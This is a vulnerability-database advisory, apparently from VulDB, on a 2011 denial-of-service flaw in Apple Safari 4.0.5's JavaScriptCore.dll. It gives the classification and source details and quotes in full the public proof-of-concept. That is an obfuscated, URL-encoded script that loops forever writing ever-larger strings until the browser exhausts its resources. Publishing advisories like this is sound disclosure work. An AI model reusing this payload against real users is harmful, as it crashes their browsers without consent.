Apple Safari 4.0.5 JavaScriptCore.dll denial of service

Summaryinfo

A vulnerability was found in Apple Safari 4.0.5. It has been classified as problematic. Impacted is an unknown function of the file JavaScriptCore.dll. The manipulation leads to denial of service. Additionally, an exploit exists.

Detailsinfo

A vulnerability was found in Apple Safari 4.0.5 (Web Browser) and classified as problematic. This issue affects an unknown code block of the file JavaScriptCore.dll. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was released 06/17/2011 as VL-ID 186 as not defined advisory (Website). The advisory is shared at vulnerability-lab.com. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known.

After immediately, there has been an exploit disclosed. The exploit is available at vulnerability-lab.com. It is declared as proof-of-concept. We expect the 0-day to have been worth approximately $5k-$25k. The code used by the exploit is:

<script language=JavaScript>m='%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3B%20URL%3Dpoc.html%22%3E%0A%3Cscript%3E%0A
%20%20var%20AAAAAAAAAAAAAAAA%3DString.fromCharCode%2860%2C%20115%2C%2099%2C%20114%2C%20105%2C%20112%2C%20116%2C%2062%2C%20118%2C%2097
%2C%20114%2C%2032%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2
0%0A65%2C%2065%2C%2061%2C%2034%2C%2060%2C%20107%2C%20101%2C%20121%2C%20103%2C%20101%2C%20110%2C%2062%2C%2065%2C%2065%2C%2065%2C%2065%
2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2034%2C%2059%2C%20119%2C%20104%2C%2
0105%2C%20108%2C%20101%2C%2040%2C%20%0A49%2C%2041%2C%20123%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%
2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2061%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C
%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2043%2C%2065%2C%2065%2C%20%0A65%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%20
65%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2059%2C%20100%2C%20111%2C%2099%2C%20117%2C%20109%2C%20101%2C%20110%2C%20
116%2C%2046%2C%20119%2C%20114%2C%20105%2C%20116%2C%20101%2C%20108%2C%20110%2C%2040%2C%2065%2C%2065%2C%2065%2C%2065%2C%20%0A65%2C%2065
%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2041%2C%2059%2C%20125%2C%2060%2C%2047%2C%20115%2C%
2099%2C%20114%2C%20105%2C%20112%2C%20116%2C%2062%29%3B%0A%20%20while%281%29%7B%0A%20%20%20%20AAAAAAAAAAAAAAAA%3DAAAAAAAAAAAAAAAA+AA
AAAAAAAAAAAAAA%3B%0A%20%20%20%20document.writeln%28AAAAAAAAAAAAAAAA%29%3B';d=unescape(m);document.write(d);</script>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Entry connected to this vulnerability is available at VDB-91480. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

• Web Browser

Vendor

• Apple

Name

• Safari

Version

• 4.0.5

License

• commercial

Website

• Vendor: https://www.apple.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion